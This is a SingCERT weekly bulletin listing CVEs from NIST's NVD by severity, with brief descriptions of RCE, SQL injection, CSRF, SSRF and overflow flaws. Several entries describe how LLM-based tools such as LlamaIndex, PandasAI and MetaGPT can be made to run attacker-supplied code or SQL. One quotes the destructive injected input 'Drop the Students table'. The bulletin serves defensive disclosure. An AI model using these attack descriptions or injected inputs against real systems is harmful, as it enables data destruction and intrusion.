SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 24 January 2024

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2021-4434	The Social Warfare plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.5.2 via the 'swp_url' parameter. This allows attackers to execute code on the server.	10.0	More Details
CVE-2024-0643	Unrestricted upload of dangerous file types in the C21 Live Encoder and Live Mosaic product, version 5.3. This vulnerability allows a remote attacker to upload different file extensions without any restrictions, resulting in a full system compromise.	10.0	More Details
CVE-2021-42141	An issue was discovered in Contiki-NG tinyDTLS through 2018-08-30. One incorrect handshake could complete with different epoch numbers in the packets Client_Hello, Client_key_exchange, and Change_cipher_spec, which may cause denial of service.	9.8	More Details
CVE-2023-51924	An arbitrary file upload vulnerability in the uap.framework.rc.itf.IResourceManager interface of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51925	An arbitrary file upload vulnerability in the nccloud.web.arcp.taskmonitor.action.ArcpUploadAction.doAction() method of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file.	9.8	More Details
CVE-2024-23730	The OpenAPI and ChatGPT plugin loaders in LlamaHub (aka llama-hub) before 0.0.67 allow attackers to execute arbitrary code because safe_load is not used for YAML.	9.8	More Details
CVE-2024-23731	The OpenAPI loader in Embedchain before 0.1.57 allows attackers to execute arbitrary code, related to the openapi.py yaml.load function argument.	9.8	More Details
CVE-2024-23751	LlamaIndex (aka llama_index) through 0.9.34 allows SQL injection via the Text-to-SQL feature in NLSQLTableQueryEngine, SQLTableRetrieverQueryEngine, NLSQLRetriever, RetrieverQueryEngine, and PGVectorSQLQueryEngine. For example, an attacker might be able to delete this year's student records via "Drop the Students table" within English language input.	9.8	More Details
CVE-2024-23752	GenerateSDFPipeline in synthetic_dataframe in PandasAI (aka pandas-ai) through 1.5.17 allows attackers to trigger the generation of arbitrary Python code that is executed by SDFCodeExecutor. An attacker can create a dataframe that provides an English language specification of this Python code. NOTE: the vendor previously attempted to restrict code execution in response to a separate issue, CVE-2023-39660.	9.8	More Details
CVE-2024-23771	darkhttpd before 1.15 uses strcmp (which is not constant time) to verify authentication, which makes it easier for remote attackers to bypass authentication via a timing side channel.	9.8	More Details
CVE-2017-20189	In Clojure before 1.9.0, classes can be used to construct a serialized object that executes arbitrary code upon deserialization. This is relevant if a server deserializes untrusted objects.	9.8	More Details
CVE-2024-0204	Authentication bypass in Fortra's GoAnywhere MFT prior to 7.4.1 allows an unauthorized user to create an admin user via the administration portal.	9.8	More Details
CVE-2023-48118	SQL Injection vulnerability in Quest Analytics LLC IQCRM v.2023.9.5 allows a remote attacker to execute arbitrary code via a crafted request to the Common.svc WSDL page.	9.8	More Details
CVE-2024-22076	MyQ Print Server before 8.2 patch 43 allows remote authenticated administrators to execute arbitrary code via PHP scripts that are reached through the administrative interface.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51928	An arbitrary file upload vulnerability in the nccloud.web.arcp.taskmonitor.action.ArcpUploadAction.doAction() method of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file.	9.8	More Details
CVE-2024-22660	TOTOLINK_A3700R_V9.1.2u.6165_20211012has a stack overflow vulnerability via setLanguageCfg	9.8	More Details
CVE-2024-22662	TOTOLINK A3700R_V9.1.2u.6165_20211012 has a stack overflow vulnerability via setParentalRules	9.8	More Details
CVE-2024-22663	TOTOLINK_A3700R_V9.1.2u.6165_20211012has a command Injection vulnerability via setOpModeCfg	9.8	More Details
CVE-2024-23636	SOFARPC is a Java RPC framework. SOFARPC defaults to using the SOFA Hessian protocol to deserialize received data, while the SOFA Hessian protocol uses a blacklist mechanism to restrict deserialization of potentially dangerous classes for security protection. But, prior to version 5.12.0, there is a gadget chain that can bypass the SOFA Hessian blacklist protection mechanism, and this gadget chain only relies on JDK and does not rely on any third-party components. Version 5.12.0 fixed this issue by adding a blacklist. SOFARPC also provides a way to add additional blacklists. Users can add a class like `-Drpc_serialize_blacklist_override=org.apache.xpath.` to avoid this issue.	9.8	More Details
CVE-2023-51210	SQL injection vulnerability in Webkul Bundle Product 6.0.1 allows a remote attacker to execute arbitrary code via the id_product parameters in the UpdateProductQuantity function.	9.8	More Details
CVE-2021-42142	An issue was discovered in Contiki-NG tinyDTLS through master branch 53a0d97. DTLS servers mishandle the early use of a large epoch number. This vulnerability allows remote attackers to cause a denial of service and false-positive packet drops.	9.8	More Details
CVE-2023-31654	Redis raft master-1b8bd86 to master-7b46079 was discovered to contain an ODR violation via the component hiredisAllocFns at /opt/fs/redisraft/deps/hiredis/alloc.c.	9.8	More Details
CVE-2023-36177	An issue was discovered in badaix Snapcast version 0.27.0, allows remote attackers to execute arbitrary code and gain sensitive information via crafted request in JSON-RPC-API.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-35835	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. The device provides a WiFi access point for initial configuration. The WiFi network provided has no network authentication (such as an encryption key) and persists permanently, including after enrollment and setup is complete. The WiFi network serves a web-based configuration utility, as well as an unauthenticated ModBus protocol interface.	9.8	More Details
CVE-2024-0642	Inadequate access control in the C21 Live Encoder and Live Mosaic product, version 5.3. This vulnerability allows a remote attacker to access the application as an administrator user through the application endpoint, due to lack of proper credential management.	9.8	More Details
CVE-2023-51906	An issue in yonyou YonBIP v3_23.05 allows a remote attacker to execute arbitrary code via a crafted script to the ServiceDispatcherServlet uap.framework.rc.itf.IResourceManager component.	9.8	More Details
CVE-2023-51927	YonBIP v3_23.05 was discovered to contain a SQL injection vulnerability via the com.yonyou.hrcloud.attend.web.AttendScriptController.runScript() method.	9.8	More Details
CVE-2023-46351	In the module mib < 1.6.1 from MyPresta.eu for PrestaShop, a guest can perform SQL injection. The methods `mib::getManufacturersByCategory()` has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.	9.8	More Details
CVE-2023-44077	Studio Network Solutions ShareBrowser before 7.0 on macOS mishandles signature verification, aka PMP-2636.	9.8	More Details
CVE-2023-6816	A flaw was found in X.Org server. Both DeviceFocusEvent and the XIQueryPointer reply contain a bit for each logical button currently down. Buttons can be arbitrarily mapped to any value up to 255, but the X.Org Server was only allocating space for the device's particular number of buttons, leading to a heap overflow if a bigger value was used.	9.8	More Details
CVE-2023-5806	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Mergen Software Quality Management System allows SQL Injection.This issue affects Quality Management System: before v1.2.	9.8	More Details
CVE-2023-5716	ASUS Armoury Crate has a vulnerability in arbitrary file write and allows remote attackers to access or modify arbitrary files by sending specific HTTP requests without permission.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0705	The Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 3.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	9.8	More Details
CVE-2023-51892	An issue in weaver e-cology v.10.0.2310.01 allows a remote attacker to execute arbitrary code via a crafted script to the FrameworkShellController component.	9.8	More Details
CVE-2023-27168	An arbitrary file upload vulnerability in Xpand IT Write-back Manager v2.3.1 allows attackers to execute arbitrary code via a crafted jsp file.	9.8	More Details
CVE-2023-43985	SunnyToo stblogsearch up to v1.0.0 was discovered to contain a SQL injection vulnerability via the StBlogSearchClass::prepareSearch component.	9.8	More Details
CVE-2023-35837	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. Authentication for web interface is completed via an unauthenticated WiFi AP. The administrative password for the web interface has a default password, equal to the registration ID of the device. This same registration ID is used as the WiFi SSID name. No routine is in place to force a change to this password on first use or bring its default state to the attention of the user. Once authenticated, an attacker can reconfigure the device or upload new firmware, both of which can lead to Denial of Service, code execution, or Escalation of Privileges.	9.8	More Details
CVE-2023-50028	In the module "Sliding cart block" (blockslidingcart) up to version 2.3.8 from PrestashopModules.eu for PrestaShop, a guest can perform SQL injection.	9.8	More Details
CVE-2023-50030	In the module "Jms Setting" (jmssetting) from Joommasters for PrestaShop, a guest can perform SQL injection in versions <= 1.1.0. The method `JmsSetting::getSecondImgs()` has a sensitive SQL call that can be executed with a trivial http call and exploited to forge a blind SQL injection.	9.8	More Details
CVE-2023-50693	An issue in Jester v.0.6.0 and before allows a remote attacker to send a malicious crafted request.	9.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50694	An issue in dom96 HTTPbeast v.0.4.1 and before allows a remote attacker to send a malicious crafted request due to insufficient parsing in the parser.nim component.	9.8	More Details
CVE-2024-23679	Enonic XP versions less than 7.7.4 are vulnerable to a session fixation issue. An remote and unauthenticated attacker can use prior sessions due to the lack of invalidating session attributes.	9.8	More Details
CVE-2021-31314	File upload vulnerability in ejinshan v8+ terminal security system allows attackers to upload arbitrary files to arbitrary locations on the server.	9.8	More Details
CVE-2024-22212	Nextcloud Global Site Selector is a tool which allows you to run multiple small Nextcloud instances and redirect users to the right server. A problem in the password verification method allows an attacker to authenticate as another user. It is recommended that the Nextcloud Global Site Selector is upgraded to version 1.4.1, 2.1.2, 2.3.4 or 2.4.5. There are no known workarounds for this issue.	9.6	More Details
CVE-2024-22416	pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.	9.6	More Details
CVE-2023-49657	A stored cross-site scripting (XSS) vulnerability exists in Apache Superset before 3.0.3. An authenticated attacker with create/update permissions on charts or dashboards could store a script or add a specific HTML snippet that would act as a stored XSS. For 2.X versions, users should change their config to include: TALISMAN_CONFIG = { "content_security_policy": { "base-uri": ["'self'"], "default-src": ["'self'"], "img-src": ["'self'", "blob:", "data:"], "worker-src": ["'self'", "blob:"], "connect-src": ["'self'", " https://api.mapbox.com" https://api.mapbox.com" ;, " https://events.mapbox.com" https://events.mapbox.com" ;,], "object-src": "'none'", "style-src": ["'self'", "'unsafe-inline'",], "script-src": ["'self'", "'strict-dynamic'"], }, "content_security_policy_nonce_in": ["script-src"], "force_https": False, "session_cookie_secure": False, }	9.6	More Details
CVE-2023-51947	Improper access control on nasSvr.php in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to read and modify different types of data without authentication.	9.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22203	Whoogle Search is a self-hosted metasearch engine. In versions prior to 0.8.4, the `element` method in `app/routes.py` does not validate the user-controlled `src_type` and `element_url` variables and passes them to the `send` method which sends a GET request on lines 339-343 in `request.py`, which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.	9.1	More Details
CVE-2024-22205	Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `window` endpoint does not sanitize user-supplied input from the `location` variable and passes it to the `send` method which sends a `GET` request on lines 339-343 in `request.py,` which leads to a server-side request forgery. This issue allows for crafting GET requests to internal and external resources on behalf of the server. For example, this issue would allow for accessing resources on the internal network that the server has access to, even though these resources may not be accessible on the internet. This issue is fixed in version 0.8.4.	9.1	More Details
CVE-2023-40051	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0. An attacker can formulate a request for a WEB transport that allows unintended file uploads to a server directory path on the system running PASOE. If the upload contains a payload that can further exploit the server or its network, the launch of a larger scale attack may be possible.	9.1	More Details
CVE-2024-22317	IBM App Connect Enterprise 11.0.0.1 through 11.0.0.24 and 12.0.1.0 through 12.0.11.0 could allow a remote attacker to obtain sensitive information or cause a denial of service due to improper restriction of excessive authentication attempts. IBM X-Force ID: 279143.	9.1	More Details
CVE-2024-23687	Hard-coded credentials in FOLIO mod-data-export-spring versions before 1.5.4 and from 2.0.0 to 2.0.2 allows unauthenticated users to access critical APIs, modify user data, modify configurations including single-sign-on, and manipulate fees/fines.	9.1	More Details

OTHER VULNERABILITIES

CVE Number	Description	Base Score	Reference

CVE Number	Description	Base Score	Reference
CVE-2024-22817	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/email/email_conf_updagte	8.8	More Details
CVE-2023-43823	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTTitleLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details
CVE-2023-47352	Technicolor TC8715D devices have predictable default WPA2 security passwords. An attacker who scans for SSID and BSSID values may be able to predict these passwords.	8.8	More Details
CVE-2024-22895	DedeCMS 5.7.112 has a File Upload vulnerability via uploads/dede/module_upload.php.	8.8	More Details
CVE-2023-52324	An unrestricted file upload vulnerability in Trend Micro Apex Central could allow a remote attacker to create arbitrary files on affected installations. Please note: although authentication is required to exploit this vulnerability, this vulnerability could be exploited when the attacker has any valid set of credentials. Also, this vulnerability could be potentially used in combination with another vulnerability to execute arbitrary code.	8.8	More Details
CVE-2024-22818	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerbility via /system/site/filterKeyword_save	8.8	More Details
CVE-2023-5041	The Track The Click WordPress plugin before 0.3.12 does not properly sanitize query parameters to the stats REST endpoint before using them in a database query, allowing a logged in user with an author role or higher to perform time based blind SQLi attacks on the database.	8.8	More Details
CVE-2023-43820	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesPrevValueLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details
CVE-2024-23209	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3. Processing web content may lead to arbitrary code execution.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-43819	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the InitialMacroLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details
CVE-2024-23213	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution.	8.8	More Details
CVE-2024-23214	Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, iOS 17.3 and iPadOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution.	8.8	More Details
CVE-2023-43818	A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details
CVE-2024-23222	A type confusion issue was addressed with improved checks. This issue is fixed in iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, tvOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited.	8.8	More Details
CVE-2023-51217	An issue discovered in TenghuTOS TWS-200 firmware version:V4.0-201809201424 allows a remote attacker to execute arbitrary code via crafted command on the ping page component.	8.8	More Details
CVE-2024-23180	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary code by uploading a specially crafted SVG file.	8.8	More Details
CVE-2023-46892	The radio frequency communication protocol being used by Meross MSH30Q 4.5.23 is vulnerable to replay attacks, allowing attackers to record and replay previously captured communication to execute unauthorized commands or actions (e.g., thermostat's temperature).	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23348	Improper input validation vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to execute arbitrary JavaScript code by uploading a specially crafted SVG file.	8.8	More Details
CVE-2024-0755	Memory safety bugs present in Firefox 121, Firefox ESR 115.6, and Thunderbird 115.6. Some of these bugs showed evidence of memory corruption and we presume that with enough effort some of these could have been exploited to run arbitrary code. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	8.8	More Details
CVE-2024-0751	A malicious devtools extension could have been used to escalate privileges. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	8.8	More Details
CVE-2024-0750	A bug in popup notifications delay calculation could have made it possible for an attacker to trick a user into granting permissions. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	8.8	More Details
CVE-2024-22715	Stupid Simple CMS <=1.2.4 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin-edit.php.	8.8	More Details
CVE-2024-0745	The WebAudio `OscillatorNode` object was susceptible to a stack buffer overflow. This could have led to a potentially exploitable crash. This vulnerability affects Firefox < 122.	8.8	More Details
CVE-2023-43822	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesTimeLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details
CVE-2023-43821	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wLogTitlesActionLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details
CVE-2023-43824	A stack based buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft when parsing the wTitleTextLen field of a DPS file. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve remote code execution.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23689	Exposure of sensitive information in exceptions in ClichHouse's clickhouse-r2dbc, com.clickhouse:clickhouse-jdbc, and com.clickhouse:clickhouse-client versions less than 0.4.6 allows unauthorized users to gain access to client certificate passwords via client exception logs. This occurs when 'sslkey' is specified and an exception, such as a ClickHouseException or SQLException, is thrown during database operations; the certificate password is then included in the logged exception message.	8.8	More Details
CVE-2024-22819	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/email/email_templets_update.	8.8	More Details
CVE-2024-23768	Dremio before 24.3.1 allows path traversal. An authenticated user who has no privileges on certain folders (and the files and datasets in these folders) can access these folders, files, and datasets. To be successful, the user must have access to the source and at least one folder in the source. Affected versions are: 24.0.0 through 24.3.0, 23.0.0 through 23.2.3, and 22.0.0 through 22.2.2. Fixed versions are: 24.3.1 and later, 23.2.4 and later, and 22.2.3 and later.	8.8	More Details
CVE-2024-22568	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/score/del.	8.8	More Details
CVE-2024-22591	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_save.	8.8	More Details
CVE-2024-22592	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/user/group_update	8.8	More Details
CVE-2024-22593	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/add_group_save	8.8	More Details
CVE-2023-47024	Cross-Site Request Forgery (CSRF) in NCR Terminal Handler v.1.5.1 leads to a one-click account takeover. This is achieved by exploiting multiple vulnerabilities, including an undisclosed function in the WSDL that has weak security controls and can accept custom content types.	8.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-40683	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005.	8.8	More Details
CVE-2024-23726	Ubee DDW365 XCNDDW365 devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. A remote attacker (in proximity to a Wi-Fi network) can derive the default WPA2-PSK value by observing a beacon frame. A PSK is generated by using the first six characters of the SSID and the last six of the BSSID, decrementing the last digit.	8.8	More Details
CVE-2024-23750	MetaGPT through 0.6.4 allows the QaEngineer role to execute arbitrary code because RunCode.run_script() passes shell metacharacters to subprocess.Popen.	8.8	More Details
CVE-2024-22699	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/admin/update_group_save.	8.8	More Details
CVE-2024-22601	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/score/scorerule_save	8.8	More Details
CVE-2024-22603	FlyCms v1.0 contains a Cross-Site Request Forgery (CSRF) vulnerability via /system/links/add_link	8.8	More Details
CVE-2022-45790	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic.	8.6	More Details
CVE-2023-6926	There is an OS command injection vulnerability in Crestron AM-300 firmware version 1.4499.00018 which may enable a user of a limited-access SSH session to escalate their privileges to root-level access.	8.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22424	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the "Lax" SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the "Lax" SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight request" for POSTs with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo CD versions: 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability.	8.3	More Details
CVE-2024-23681	Artemis Java Test Sandbox versions before 1.11.2 are vulnerable to a sandbox escape when an attacker loads untrusted libraries using System.load or System.loadLibrary. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	8.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-5130	A buffer overflow vulnerability exists in Delta Electronics WPLSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.	8.2	More Details
CVE-2022-40700	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6.	8.2	More Details
CVE-2024-23682	Artemis Java Test Sandbox versions before 1.8.0 are vulnerable to a sandbox escape when an attacker includes class files in a package that Ares trusts. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	8.2	More Details
CVE-2024-23683	Artemis Java Test Sandbox versions less than 1.7.6 are vulnerable to a sandbox escape when an attacker crafts a special subclass of InvocationTargetException. An attacker can abuse this issue to execute arbitrary Java when a victim executes the supposedly sandboxed code.	8.2	More Details
CVE-2023-5131	A heap buffer-overflow exists in Delta Electronics ISPSoft. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DVP file to achieve code execution.	8.2	More Details
CVE-2023-6549	Improper Restriction of Operations within the Bounds of a Memory Buffer in NetScaler ADC and NetScaler Gateway allows Unauthenticated Denial of Service and Out-Of-Bounds Memory Read	8.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-50447	Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).	8.1	More Details
CVE-2024-23182	Relative path traversal vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote authenticated attacker to delete arbitrary files on the server.	8.1	More Details
CVE-2024-0778	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, has been found in Uniview ISC 2500-S up to 20210930. Affected by this issue is the function setNatConfig of the file /Interface/DevManage/VM.php. The manipulation of the argument natAddress/natPort/natServerPort leads to os command injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251696. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.	8.0	More Details
CVE-2023-32272	Uncontrolled search path in some Intel NUC Pro Software Suite Configuration Tool software installers before version 3.0.0.6 may allow an authenticated user to potentially enable denial of service via local access.	7.9	More Details
CVE-2024-23212	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2023-51042	In the Linux kernel before 6.4.12, amdgpu_cs_wait_all_fences in drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c has a fence use-after-free.	7.8	More Details
CVE-2020-36771	CloudLinux CageFS 7.1.1-1 or below passes the authentication token as a command line argument. In some configurations this allows local users to view the authentication token via the process list and gain code execution as another user.	7.8	More Details
CVE-2024-0409	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23208	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to execute arbitrary code with kernel privileges.	7.8	More Details
CVE-2024-0521	Code Injection in paddlepaddle/paddle	7.8	More Details
CVE-2022-45792	Project files may contain malicious contents which the software will use to create files on the filesystem. This allows directory traversal and overwriting files with the privileges of the logged-in user.	7.8	More Details
CVE-2023-24135	Jensen of Scandinavia Eagle 1200AC V15.03.06.33_en was discovered to contain a command injection vulnerability in the function formWriteFacMac. This vulnerability allows attackers to execute arbitrary commands via manipulation of the mac parameter.	7.8	More Details
CVE-2023-6043	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker to bypass integrity checks and execute arbitrary code with elevated privileges.	7.8	More Details
CVE-2023-42881	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.2. Processing a file may lead to unexpected app termination or arbitrary code execution.	7.8	More Details
